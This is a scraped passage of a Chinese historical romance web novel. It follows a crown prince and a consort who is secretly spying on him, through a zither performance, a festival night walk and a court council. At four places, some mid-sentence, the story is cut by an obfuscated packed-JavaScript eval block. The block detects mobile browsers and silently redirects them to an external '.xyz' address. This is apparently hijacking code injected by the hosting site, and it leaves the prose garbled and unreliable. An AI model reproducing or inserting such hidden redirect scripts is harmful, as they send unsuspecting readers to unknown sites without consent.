穿过游廊,跨过月洞门,来到一处阁楼前。赵瑜松开他手,朝上递递下巴,神秘道:“舅父自己上去吧,我跟阿父先回去了”。 李琤:? 不知道小儿葫芦里卖的什么药,他做好了被小儿欺耍的准备,打算随便走上去逛一圈就下来。未想到刚走到楼梯转角处,听到阁楼上隐约传来婉转的琴音。 透过琴音,可以猜测奏琴之人此刻心情十分紧张,好几处地方都弹错了。 他担心上去会打扰主人家雅兴,虽然这里是公主府,但今日百花宴,公主府来了许多人,说不定是哪家女子在上面奏琴自娱。 又担心赵瑜就在下面等着,回头若是知道他没上去,说不准又要掉眼泪。这小家伙被他阿父宠坏了,遇到点小事就动不动掉眼泪,哭个不停。李琤有幸经历过一次,真的怕了。 踌躇片刻,不知是在赵瑜眼泪的激励下,亦或是阁楼上女子频频弹错音的无奈下,他轻抬脚步终于走到尽头。 却发现奏琴之人是个熟人。 她侧对着他,一袭红衣艳若朝霞,长发绾了个高髻,仍有几缕调皮的发丝垂在耳畔,随着微风拂过头发轻轻贴在她侧脸上。 不得不说,她与红色极是相配。着装越红,越能显出她肤色的白,好似一块上好的和田玉,在光线下散发着淡淡的光泽。 浓密的睫毛随着她眨动的眼睛一颤一颤,又弹错几个音节,她紧张得额角都泛起汗珠,贝齿更是不自觉咬着嘴唇。从侧脸看上去好像一只气鼓鼓的小海豚。 男人剪手站在身后不说话,女人在前面为心上人弹奏,不时传来几声杂音错音。倒真有“为得周郎顾,时时误拂弦”的意味了。 梁含章自然知道男人站在自己身后,正因为知道才如此紧张。公主曾言殿下琴艺瑰丽无双,连当世的琴技大师段允先生都说太子于琴音方面颇有慧根。 那她这个刚学一个多月的半吊子在他面前班门弄斧,是不是显得很可笑?不用回头,她都能想象出对方那张冷清的脸上带着的嗤笑了。 不能想,越想越着急,越着急就越是手忙脚乱。梁含章急得大汗淋漓脑子一片空白,神色尴尬得不像话。 早知道就不该听公主这个馊主意,真的太为难她这个五音不全的人了。 直到一声低呼将她拉回现实,梁含章才发现李琤已经蹲到自己旁边,干燥的大手正握着她的小手,两只手肤色迥异。 “殿下……”她脑子仿佛不会思考了一般,喃喃自语的叫着,眼睛呆怔望着对方。 李琤轻叹一声,举起她手道:“手都被琴弦划伤了,你竟没发现?” 梁含章循着对方目光望向自己的手,这才发现白皙的食指上有一颗豆大的血珠渗出。 她……不但弹错了好几个音节,还在殿下面前被琴弦划伤了。这都叫什么事儿! 她不要面子的嘛? 女人垂下眼睫,脑袋缩回脖子中,日常扮演鹌鹑。 看她这个反应,李琤清楚,她是真没发现自己手指被琴弦划伤。思及此,他都忍不住被气笑了。 到底是谁说奉仪是潜入东宫当卧底的,就她这个猪脑子,能带什么情报出来? “孤让人请医官来给你包扎”,他冷冷丢下这句话,打算下去唤李福请人过来。 却被小女人拉住了衣角,她一双眸子早已雾濛濛的,水珠将落未落,扁着嘴巴祈求:“殿下莫要怪罪臣妾……” 李琤觉得今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399800|167942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他跟眼泪犯冲,好说歹说哄着赵瑜才没让小家伙再掉眼泪,没想到来这里又看见这女人眼里汪着一包泪水。 他略一迟疑,到底停下了脚步,坐在旁边温声询问:“你怎会在这里?” 梁含章不大好意思,低着头回:“是妾叫公主安排的”。 “所以赵瑜千方百计唤孤前来就是受了你们的指使?” 梁含章:“是”。 李琤:“何时学会弹琴的?又是谁教的你?” 面对对方的咄咄逼问,梁含章有些招架不住,硬着头皮回:“这一个多月来,妾身经常往来公主府,是公主教妾弹的”。 “她说妾身为奉仪,出门在外代表的是殿下的面子,也该学些陶冶性情的雅事,故而妾才斗胆向殿下献琴……” “你弹得很好”,他正襟危坐在一旁,意态从容,“不过下次不用弹了”。 梁含章被他的话吓得一惊一乍的,先是夸她弹得好,下一句又说不用再弹了。难道说她的弹奏真的不堪入耳? 可她听着也还好啊,也才错了几个音节而已。毕竟才学这么点时间,能弹成她这个样子已经算不错的了,连公主都说她天赋颇高。 只是,好像这天赋在殿下面前不值一提。这男人方方面面都远超常人平均水平。 “是不是洛华曾对你说孤喜欢琴音?”李琤思忖片刻,不由问道。 梁含章瞪大眼睛,不可置信看着对方。他怎会知道? “其实,孤并不喜欢琴音,之所以常常抚琴,纯属打发时间”。男人醇厚的嗓音缓缓道。 梁含章:“……”就这样?那她这段时间千辛万苦学习算什么,还以为投其所好,没想到到头来是个笑话而已。 “其实,孤之所以经常抚琴,是因为小时候遇到了个小女娘”,李琤思及往事,唇边下意识勾起一抹淡笑,眼眸也变得温柔起来。 “当时孤被戾帝的人作为质子囚困在长孙府不见天日,李福也不在身边,没人记得孤,孤就像被老天遗落在世间的弃儿一般,听着外面的鸟叫蝉鸣,连门都出不了”。 直到他遇到那个小娘子,长得唇红齿白,走路喜欢一蹦一跳,头上扎着两个小揪揪,偷偷爬上阁楼冲他甜甜的笑,还用胖乎乎的小手抓他,喊他“阿兄”。 她告诉他自己名字叫“阿琴”,是长孙府的小奴婢,当时妈妈采买下人时见她可怜,这才偷偷买下她养在长孙府。因年纪小又受院中无儿无女的妇人疼爱,她鲜少要做什么活计。 有吃有穿还能玩儿,她简直把长孙府当成自己家一般。 也正是因为这个眉眼弯弯的小太阳,李琤觉得,他当时被困在长孙府的那段时间也不算太难熬。 阁楼下有守卫重兵把守,这些平日舞刀弄枪的武夫个个长得凶神恶煞,却独对小女娘偷爬上阁楼的事置之不理。也不知是觉得两个小孩儿聚在一起翻不起什么浪花,还是觉得小女娘可爱不忍为难。 总之,二人就这样偷摸着相处了半年。半年来,因为阿琴的陪伴,他的日子不再是一片晦暗。他也不再沉湎于被父母当做弃儿的痛苦中。 后来,毫城被破,他被戾帝绑在城楼柱子上以此要挟楼下的父皇,命令父皇退兵。 父皇没有上当,手中的利箭刺上来,没入皮肉的一瞬间,他竟没感觉丝毫疼痛。在心底蔓延的,只有无尽的失落。 那一箭斩杀的不仅是他对鲜少见面的父亲的孺慕之情,更是他与父皇的血脉恩情。血脉至亲,不过如此。 他知道,自己没有权利去责怪父皇。当时乃危急存亡之秋,他没得选择。 只是,李琤无数次在心里想,若他是一位父亲,绝不会亲手射杀自己孩子,更不会多年来将自己孩儿养在外面不闻不问。 后来,所有人都断定他必死无疑,他却在九死一生中成功活了下来,最后凭借着嫡长子的身份继承储君之位。 他的人生,逐渐走向坦途。可是,他的小女娘,却再也寻不到了。 14. 第十四章 心动 “殿下?殿下?” 在女人的阵阵呼声下,李琤终于从往事中拉回思绪,思忖片刻,这才起身一边准备下楼走一边道:“孤去找医官给你包扎”。 男人清隽的身影逐渐消失在楼梯尽头,梁含章才把注意力重新投到自己受伤的食指上。这次示好,竟让她窥探到殿下不为人知的一面。 那样如圭如璋身姿如玉一个人,内心深处居然藏着一个小女娘,且还藏了多年。 当年他被惠安帝亲手用箭雨射杀,这事她早已在李洛华口中得知。可今日亲耳听到当事人说起往事,平静的面容毫无哀戚之色,好似一个置身事外无关紧要之人在诉说着旁人的往事。 也许在箭矢射出那一刻,所谓的天家亲情,父子情缘早已消灭殆尽。 血珠逐渐变得黑紫,凝固在伤口中。正当她出神之际忽然听到身后李福的惊呼声:“娘娘,您没事吧?怎伤成了这个样子?!” 若不是当事人,听老总管这语气还以为自己身染沉疴时日不多了。可是,她左瞧右看,不就是出了点血吗,至于如此大的反应? 她胸口还有一处伤疤,即使伤势已痊愈多年,那道狰狞蜿蜒的疤痕依然残留在身上。 那道伤口,可比这个严重多了。 李琤不耐烦瞪了眼李福,后者逐渐意识到自己失态,忙讪讪摸着鼻子,转身请医官上前清洗包扎。 太子不是个沉湎往事的人,方才那半刻回忆逝去后,又恢复平日清正耿直的储君形象。 可梁含章却清楚,今日之事是一道口子,既然口子已经被撕裂,殿下愿意对她吐露心声,那么获得太子的信任指日可待。 如此,何愁大事不成? 公主跟世子听说她弄伤了手也来探望,眼瞧着人没大碍这才松了口气。若是让人因此受了重伤,指不定皇兄心里如何怪罪。 事情这样一闹腾,时间也过去大半。眼看天色已晚,与驸马又早已商议妥当,太子便打算打道回府。 梁含章身为东宫奉仪,眼下又伤了手,自然不好再留在公主府,因而也跟着太子马车一同回去了。 马车驶在官道上,不知为何,李琤这次居然也没有在外面骑马,而是坐在马车上,二人对面而坐。 他递过来一摞书,看着足足有好几本,淡声道:“听李福说你喜欢看山川游记的书籍,这几本颇有代表性,你可以拿去解闷”。 男人俊郎的眉眼隐在略显昏暗的车厢中,梁含章看不真切,也意会不到他此举是何用意。很显然,眼下车厢光线昏暗,她是无论如何不能通过看书解闷了。 难道,他此举是在鼓励自己读书? 相对而坐又无话可说,二人都显得有几分局促,李琤不时掀开车帘或是询问车夫还有多少路程。 东宫离皇城较近,皇城在长安城北,而公主府却在城东,两座府邸距离较远,中间还要穿过几条热闹的街市。 在大晋,凡遇到重大节日都会取消宵禁,少则一夜多则几夜,像上元节晚上的灯会十分热闹,朝廷特许正月十四到十六这三天金吾不禁夜,不论达官贵人还是平民百姓,都可趁夜尽情欣赏玩乐。 譬如今日是百花节,人们会在这天之中迎花神办花会,尤其晚上热闹得紧,便不会禁夜。花灯,花轮,斗花会,让人目不暇接。 不仅如此,除了有关花神的主题,还有诸子百戏,像什么上竿,跳索、相扑、斗鸡,亦或是学像生、装鬼、说诨话、叫果子…… 果然,当马车行到中央大街时,阵阵喝彩声直钻入耳内,梁含章看着外面熙熙攘攘的人群,连空气都弥漫着节日的欢乐气息,小摊商贩在吆喝叫卖,酒楼门前的伙计在招揽客人,许多抱着小孩儿的夫妻在马车旁经过,热闹极了。 梁含章忍不住祈求对面正襟危坐的男人:“殿下,要不咱们下去走走吧?”毕竟可是一年一度的百花节呢,要想再遇到如此热闹的场面,得等到明年了。 行人将街道围了个水泄不通,马车在这里可谓寸步难行。李琤心下不喜如此热闹的场面,但对面女子那双亮晶晶的眼睛一瞬不瞬望着他,自己说不出什么拒绝的话。 思忖片刻,还是点了头。 女人大喜过望,不管不顾就要从马车上跳下来,李琤连忙拉住她:“等车夫将踏板放好再下去”。 梁含章转头冲他甜甜笑,乖巧等在车门旁。 幸好今日他穿的是寻常衣服,出门闲逛一般人也不会将他认出来,李琤看了眼已经走到前面的女人,叹息一声,无可奈何跟上去。 “殿下可出来逛过?”女人看到什么都一副兴致勃勃的样子,伸手要去摸一摸,等商贩激情四射讲解得口干舌燥时,她又放下东西走了。搞得商贩们脸色都不大好看。 “不曾”,李琤轻轻摇头,未登上太子之位时他的人身自由从不在自己手上,连半扇门都出不了,更遑论来到繁华的大街上吃喝玩乐。想想都不可能。 后来父皇登基,他也登上太子之位,那时候更不可能了,父皇身子一日差似一日,愈来愈多的军国大事都压在他肩上,他没有什么玩乐的时间,更不想出门娱乐。 他厌恶处在任何热闹的场合中,这对自己来说是一种无声的凌迟。看着行人脸上带笑面容满足,拉着至亲的手无比惬意悠闲的逛,他心里不可抑止地涌现无数失落寂寥。 热闹都是他们的,他孤身一人,只有冷清相伴。 可是,如今陪着身旁那看见漂亮又鲜艳的东西便走不动道的幼稚女人,自己居然罕见生出了几分耐心。 看到他指使身后跟着的李福把方才她留连许久的小摊上的东西都捎上一份,梁含章不解,连忙阻止:“我没说要买!” 李琤斜他一眼,不紧不慢道:“主人家口干舌燥为你介绍这么久,你却一个不买就走了,这岂不是让人白白花费力气?” “可……我就只想看看”梁含章声音小小,不好意思道:“我不想让殿下觉得我败家……” 也许是二人之间的相处越发熟悉,也许是此时环境让人下意识放松,梁含章说话不再自称臣妾,这话落在李琤耳中,终于觉得顺耳许多。 他此时半倚在小摊的招牌前,唇边露出几分笑意,手中的折扇遥遥冲她指了指:“放心,府里好歹还有些银钱,够你这小小的花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真的好吃!阿兄尝尝就知道了!”梁含章大声喊完就要挤进去买上一份。 李琤:……他不是很想尝。 这里人太多,男人连忙拉住对方手劝道:“让李福去买,咱们在外面等着就是了”。 拎得两手满满都是东西的李福欲哭无泪,他这个身躯怎么挤得进去啊,等挤进去不得成肉饼了? 可主子的命令又不能违抗。老太监觉得自己整个人泡在一罐苦水中,浑身上下泛着苦。 “算了吧,公公是个有福之人,恐怕行动不是那么方便,还是让我去吧”,小女人刚说完,接过银钱一侧身就钻进去了。动作娴熟得很。 李福简直感动得热泪盈眶,他就说自己眼光不错,这么好的主子到哪儿找去!连肥胖都说得如此讨喜! 不像殿下,生气时不是喊他“死驴”就是“蠢猪”,这就是人与人之间的差别! 李琤察觉到身上挂着大袋小袋的老太监似乎有些幽怨看着他,挑眉不解:“你幽怨什么?” 莫不是自己也想买一份? 15. 第十五章 梁含章抱着水饭出来时,看到外面一主一仆之间的氛围有些奇怪。也不疑有他,笑着冲男人道:“殿……阿兄要不要尝尝?” 李琤如遇洪水猛兽,连连摆手。 既然如此,她可就不客气了。女人抱着精致的小木碗,那团白花花的饭吃得津津有味。李琤实在想象不出,这看起来没什么滋味的东西真这么好吃? 不过,闻着味道还挺香的。 李福站在他旁边,看到殿下眼底的好奇,不由得道:“要不奴才替殿下……公子去买一份?” 也就不用眼巴巴望着娘娘手里吃的了。 男人狠狠剜他一眼。上前问道:“你经常吃这东西?” 梁含章摇摇头:“没有经常吃,实际上很少吃”。水饭对于他们这些天潢贵胄来说自然算是上不得台面的东西,可对她这个出身贫寒的人来说,已经是世间难得的美味了。 至于宫宴上经常出现的山珍海味,鹿茸熊掌,想都不必想。 未经他人苦,莫劝他人善。他们生来高贵,即使一着不慎自以为沦落到人生谷底,那也是寻常人遥不可及的生活。 譬如太子,即使他被当做质子困在戾帝手下艰难生存,他的生活也比寻常百姓好上太多。 因为除去太子这个身份,他还是国公之子。不论是为了面子功夫还是为了要挟惠安帝,戾帝都不会对他这个儿子做得太过分。 所以,她现在潜伏在东宫企图为梁党获取情报,也不算过分不是吗?她只是做自己以为正确的事,无愧于心而已。若是不顺着他们的意,阿兄的性命就保不住了。 听她提及往事,李琤有些怔愣。他知道她生活过得艰苦,甚至在没来东宫之前还要给人为奴为婢,赚着微薄的薪资,却万万没想到居然苦到如此份上。 “你说饥荒年间百姓们还会互相食人肉?”举着折扇的温润男子显然有些惊愕。 “是啊,非但如此,有些人家甚至为了活命,把尚在襁褓中的幼儿杀了充饥,若是还熬不过去,就继续往上杀,直到饥荒过去,朝廷的赈灾粮来到为止”。 有些人啊,做得没那么过分,但也为了那几文钱就把自己的小孩儿给卖了。听琰光说,他碰到她时正值父母为了活命把她卖了,开价是十文钱。 他一时心生怜悯便花十文钱把她买了,自此,她从一个地狱换到另一个地狱,在这孤苦的人世间艰难讨生活。 琰光说自己心生怜悯她是决计不会信的,但他有一点说得好,有些人天生不配为人,他们只是披着一张人皮,却干着许多禽兽的勾当。 李琤读过许多史书,也知道兵荒马乱或者灾荒年间有人为了活下去,会食人肉饮人血。 但那只是史书上轻描淡写的短短几个数字,有些甚至一笔带过。他看到时也曾惊讶,也曾扼腕叹息,也曾站在道德制高点上评判他们。 但若说心里有多少同情,有多少感同身受,那是决计没有的。因为他从没经历过那样的生活。 直至今天,从一个女人口中,那个娇弱胆怯却又仿佛蕴含着无穷力量的一个女人身上,他终于更为深切体会到那种感觉。 民生多艰,也许在上位者看来没什么大不了的小事,三言两语之下却是小人物的灭顶之灾。他们口含天宪,在绝对的皇权巩固下,拥有着决定人生死的权利。 这世上,生活在水深火热的黎民不计其数。他又有何脸面自怨自艾。也许在未来,又或者不远的将来,他会成为下一任帝王,掌管天下黎民大事。 若是无法与百姓感同身受,无法切身关注天下苍生,他又有何脸面当这个天子呢? “你说你父母当初为了十文钱把你卖了?”他实在无法想象,生而为人,既然生下了孩子,为何不把她们捧在手心里宠着疼着,居然为了十文钱便把孩子卖了!这样的人,还配称为人吗? 女人情绪显然有些低落,声音闷闷的:“其实我也不怪他们,饥荒年间能活下去都是奇迹,他们这样也是不得已而为之”。 可是,心里还是会失望的啊。你不是父母期待的孩子,他们为了利益随时能把你抛之脑后视为弃子。这种感觉,真的不好受。 李琤顿了许久,旋即眼神坚定道:“你放心,来了东宫,我不会为了那十文钱卖你的,你尽管安心住下,没人有权利赶你走”。 不说十文钱,就是百文钱,千万钱,甚至白银万两,他也不会把人赶出去。既然来到东宫,就是自己名义上的女人,他有权利有义务照顾好她。 他此时此刻终于明白了,为何当初他一提到让她走之时,女人的脸色会如此惊慌,以致满脸含泪跪在他身前请求。 因为被抛弃过,所以心中不安,这才担心会被人再次当做弃子。李琤此刻觉得,他好像更能站在对方角度思考问题,在对方立场下,许多事更能感同身受。 梁含章本不想哭的,可听到男人的话莫名鼻子发酸,一个不留神,泪珠便从眼底滚落砸在地板上,触到地面那一瞬间突然破裂,变成无数小水珠四散在周围。 夜灯明亮,不远处正抬着花神从二人身旁经过,惊天动地的吹打唢呐声传来,却仿佛有一道屏障将旁边的热闹与这边的冷清隔开。 官道一旁是熙攘的行人旅客,另一旁是相对无言的一双男女。灯光照在女子身上,散发轻柔的光芒,整个人如同温室的娇花惹人怜爱。 泪眼中,她望向旁边的男子,恍惚间居然觉得对方有几分像自己阿兄的模样。都是这般笑盈盈看着她。 她何德何能居然遇到如此贤德,如此温柔的太子。这样的人站在自己身旁,唯恐玷污了他一尘不染的气质。 但,自己别无选择。思及此,梁含章心情瞬间低落。 她深吸口气,复抬眸笑着对他道:“殿下,今日我很高兴,谢谢你陪我”。 李琤也从对方话语中颇得启发,谈不上什么谢不谢的。他摆手道:“我没逛过夜市,不知天底下还有许多吃不饱穿不暖的百姓在苦苦挣扎,说起谢字,还得我谢谢你,是你让我真正明白一个储君该做什么,该怎样做”。 “不是才逛了小小一段吗?咱们继续往下走走看吧”,他不敢直视对方那双笑眼,那双含着泪光的笑眼,莫名让他心中有些发烫。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427680|167942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也不知道自己这是怎么了。面对她时总时常感觉局促不安,这是之前的二十多年从没有过的。 揭过这段伤心事,梁含章又恢复一开始的兴奋,兴冲冲要往下走,手中的水饭不知不觉已经到了李琤手里。 远远看到地上摆放着一堆白色毛茸茸的东西,她三步并作两步跑过去蹲在地上笼子旁看,眼睛亮亮的,惊呼道:“这是小兔子!” 店家见终于来了客人,忙打起精神迎客,热情介绍:“客官说得不错,这是从外邦引进来的名贵品种,名叫穴兔。刚出生几个月,毛色洁白如雪,品质上乘。等稍微大些还能斗兔,逗趣得很,客官要不要买上一只?” “这……”梁含章趴在笼子边巴巴望着,却没有掏钱买的意思。她从小到大穷惯了下意识想省钱,很多时候看到喜欢的东西仅仅局限于喜欢而已,但真要她掏钱去买自己往往不舍得。 喜欢是一回事,拥有又是另一回事。很多东西并没有喜欢到迫不及待拥有的地步。 在钱这方面,梁含章往往有着清晰的认知。 看她那小眼神就知道心里有多喜欢,李琤道:“喜欢就买了吧,好不容易出来一趟”。一只兔子而已能花什么钱。 好歹他也是一国太子,至于连这点小钱都拿不出来吗? “可是,还没喜欢到让我买它的地步”,她看了眼身后的李福小声道,“况且今晚已经买了很多了”。 李琤循着她目光扫了眼身后静若雕塑的老太监,挑眉道:“没事,他拿得动”。 李福不敢发声,日常扮演死人。 “再者,若是你不买的话,这件事犹如一根刺一直扎在心里,无数次午夜梦回都会感觉遗憾万分,你会一遍遍问自己:为何当初我没买那只小兔子?后来你发现,即使拥有再多的小兔子,也不是今晚这只了”。 他平日都是一副清冷少言的贵公子模样,梁含章还是第一次听到他一下子说这么多话。 一时间有些意动,忍不住喃喃:“真的吗?” “自然是真”,他微蹲下身子,清冽好闻的气味瞬间扑鼻而来,“想要哪只?” 梁含章有些犹豫,最后还是伸出手指,指了处在角落的一只小兔子道:“这只”。 “店家,我们要这只”,男人直起身子与店家交涉。很快抱了兔子过来递给她,“喏,你的兔子”。 “多谢殿下”,女人的声音软糯糯的,还带着鼻音。 往后若干年,她依稀会记得一个长相俊美、身份尊贵的男子,抱着她心仪的小兔子朝她走来的情形。 看着前面走得欢脱的女人,李琤嘴角不经意间也染上了笑意。 “阿兄,小兔子啃我手了!”她陡然转过身子冲他笑盈盈叫道,一脸惊喜莫名。 眼前的场景与记忆中那一幕意外重合,甚至让人觉得眼前这个女子就是当年那小女娘长大时的样子。 李琤呼吸急促,眼睛瞬间瞪大,脑子一阵空白,有些不知今夕何夕。 他疾步走上去抓着对方袖子,急切问道:“你当年被卖时,是不是曾在长孙府当过奴婢?” 16. 第十六章 回想昨晚种种,梁含章依旧觉得匪夷所思。她知道殿下心中一直藏着一位小女娘,这么多年一直试图寻找,均是未果。 可是,昨晚他居然问自己是不是曾被卖到长孙府? 这怎么可能?照李琤的话来说对方已经四五岁了,这么大的孩子她不信一点记忆都没有。而她,脑袋空空,若不是男人陈述,她根本不知道多年前一位小娘子曾与太子相处这么长时间。 据琰光所说,他是从她父母手上买下的她,当时已经五六岁了。因为饥荒所迫加之常年征战的缘故,爹娘不得不舍弃她以保全自己。 至于之前在王皇后和太子面前说的从小辗转各地为奴为仆,后被老寡妇收养云云,都是她杜撰出来的。 若不这么说,如何体现自己身世凄苦,又如何博得太子等人的同情?至于事实如何,无足轻重。反正她就是被父母卖掉的,这点毋庸置疑。 她连自己姓甚名谁都不知道,连这唯一的名字都是琰光起的,琰光特地让她和阿兄姓梁,就是想让二人从名字到身体乃至灵魂都烙上梁国的印子。 仿佛只有这样,才能解他亡国之恨,才能让他拥有短暂的幻觉以为自己还是当初那高高在上的太子。 成王败寇,自古如此。 琰光再如何不甘心也改变不了败局,不过困兽犹斗罢了。且不说他的兵力在晋国百万大军面前不堪一击,就算真能与之匹敌,也不会得民心。民心如水,水能载舟亦能覆舟。 战乱已久的百姓好容易盼来和平,自然不希望再次陷入动荡之中。在他们眼里,哪个当皇帝都一样,只要有地种有饭吃就够了。 且惠安帝自登位起便一直施行仁政,兴修水利劝课农桑,使公私粮仓丰实,民生富足。 在老百姓眼里,这已经是很不错的君主了。谁希望好不容易迎来的富足日子又被人打破?若乱事兴起,关河不宁,黎民必遭涂炭。 她之所以还肯为对方卖命,无非是因为阿兄性命还掌握在他们手中。想到自己再访陶然居时簪娘说的话,梁含章眼眸逐渐森冷晦暗。 乾元殿。 李琤整个人显得有些心不在焉。圣上在龙案前问了他好几声都没反应。 “太子?”李固微微探身,皱着眉头望向下首的儿子。 惠安帝立李琤为太子并非单是因为对方占了嫡长子身份,自己又从小对他缺少关心的缘故。 另一个更大的原因,他清楚这个儿子勤政务实,行事一丝不苟且清正耿直,从不敷衍了事。 这些品质也许对一个开国帝王来说不足为外人道也。开国君主,胸中最重要的是野心和胆量,才能背负骂名从万千厮杀中拼出一条血路,但凡他心软,此刻早已身首异处。 但开国与治国不一样,治国靠得更多是施政,以民为本,为政者要有足够能力内理庙堂外治关河。而这些品质,太子完全具备。 换而言之,作为储君,他是最合适不过的。而皇二子毕竟从小在双亲膝下长大,受尽疼宠,他身上没有身为帝王的锐气与智谋,极容易被朝臣操控为傀儡。且他头脑简单意气用事,行军打仗倒尚且有些手段,但治国理政却并不合适。 他适合领军在外辅佐长子,但绝对没有能力坐稳太子之位。面对这个长得愈发出色,施政手段公允平和的储君,很多时候李固也由衷感到欣慰。 此刻他不再是那日在大殿面露哀戚的卑微帝王,而是九五至尊,他在以一个天子的目光端详审视着自己的继承人,无关血脉亲情。 “父皇”,李琤终于从纷繁的思绪中清醒过来,拱手作揖。 “是昨晚没休息好?”李固看到他眼底有些青黑,忍不住问。 “回父皇,儿臣昨晚确实久难成眠,不小心耽误了大事,还望父皇恕罪”。李琤思及昨晚种种,依旧感到失无比遗憾且失落。 “无妨”,李固还想继续问,又担心问得太多恐惹长子厌烦,父子二人的关系本就如一道桥梁小心翼翼搭建着,表面看上去父慈子孝。 若是谁稍微用点力,那条颤颤巍巍的桥梁就有倒塌的风险,帝王微微正身恢复属于帝王的威严,询问众位心腹:“逆党之事众爱卿有何打算?” “陛下,小小逆党不足畏惧,依微臣之见,直接派兵到西南攻打吧,定把这帮孙子们打得屁滚尿流哭爹喊娘!”兵部侍郎杨之寂雄浑有力的声音响起。 他是一介武夫,又有跟随惠安帝共同打天下的交情,身份非同寻常,因而说话不怎么顾忌。 惠安帝沉默,眉宇间似有不赞许之意。 “陛下,西南虽地动不久,对方势力不知损失凡几,但目前还未彻底查清楚局势,微臣以为还需从长计议”,一向谨小慎微的吏部尚书孔羽道。 帝王依旧不表态,继续问太子:“那依太子之见?” “回陛下,儿臣也觉得不可操之过急,梁国逆党当灭则灭,一旦出手必须一网打尽。如今局势尚不明朗,贸然派兵攻打非但无法一举获胜,还会损兵折将陷百姓于水火之中”。 “且隐太子琰光在民间素有贤名,西南地势又极其复杂,朝中更不知道有多少蠡蛀之奸与逆党暗中勾连,此时出兵实为不妥”。 “那总不能坐视不理任其声势浩大,危及社稷吧?”李固道。 “自然不会坐视不理,儿臣听说隐太子信道,当年戾帝在位期间曾兴修道观,制定了一系列惠及天师真人的律法,而今我朝道教兴盛,道士们又多推崇信奉隐太子。儿臣愚见,可先利用舆论控制隐太子摧毁他的贤名,同时派人拆除多余道观,让法师真人回到家乡从事农桑”。 “其二,再派探子潜入西南调查打入敌方内部,看能否得到更多有利情报”。 因前朝缘故,而今全国上下道教色彩愈发浓厚,大大小小的道观不计其数。许多百姓为了逃避劳役和赋税往往选择入道为真人,因为道士非但不用赋税,还有朝廷免费提供的百谷菽粟和俸禄,实为朝廷一大隐患。 惠安帝已经头疼许久了,一直想不出更好的解决办法,担心手段过激激起民变,又怕力度不够致使收效甚微。 而今太子的提议更好解决了此事。若是道士们不从,便给他们扣上一顶谋反通敌的罪名,天威降临,没人敢不从。如此一来,还能彻底粉碎琰光在民间的贤名,实为一箭双雕。 惠安帝神色隐有赞赏之色却没有表露出来,继续询问臣僚意见:“众卿以为如何?” “太子远见,臣等惭愧不已……” “臣以为太子殿下所言极是……” 多数持赞成意见,惠安帝本人也觉此举极妙。当即下令:“就依太子所言,太子,朕命你全权负责此事,如遇不决之事可越过朕直接下令,朕赋你便宜行事之权”。 “多谢陛下”。 惠安帝:“众卿先退下吧,太子留下”。 “臣等先行告退”,臣僚们纷纷退下。李琤站在殿中间,眼神似有不解,垂眸行礼道:“不知陛下留臣下来所为何事?” 惠安帝轻咳一声,“你母后着了风寒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448174|167942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛华进宫看了她几次,虽现在好得差不多了,还一直跟朕念叨着你。若是不忙,便到长春宫看看她吧”。 李琤见惠安帝脸色与寻常无异,不疑有他,以为圣上是为母后传话才留下了他。行礼告退后,便撩袍跨过门槛出去了。 惠安帝看着长子远去的身影,眼神兴味盎然。 此次他来到长春宫,没有像往常一样有嬷嬷在殿外等候。整座宫殿静悄悄的,不时传来几声清脆的鸟鸣。 他走到内室门前,发现连宋嬷嬷也不在,内室依稀传来几声虚弱的咳嗽,李琤在门口站了一会儿,刚想敲门通禀,便听到里面传来皇后沙哑的声音:“是琤儿吧?快快进来”。 李琤推门而入。却见躺在床榻上的母后面容虚弱,脸色煞白,整个人显得有气无力。她还在试图起身,李琤忙上前阻止:“母后莫乱动”。 “母后患了风寒,自该好好休息,儿臣如何敢劳动母后大驾?”说着起身到旁边道了杯热茶给王皇后润润嗓子。 “母后现在感觉如何?太医是如何说的?” 王皇后直起身有气无力道:“只说邪风入体,以致内里倒生昏乱,也开了几服药现在正喝着”。说着又捂着嘴巴咳嗽。 李琤接过茶杯,小心为她顺气,不由忧心道:“父皇不是说母后已经好得差不多了吗?怎还是如此严重?” “是好了许多,只是母后一见到你就激动,忍不住咳嗽了几声,皇儿莫要担心”。王皇后温柔道:“对了,此次叫你来是有要事”。 “哦?” 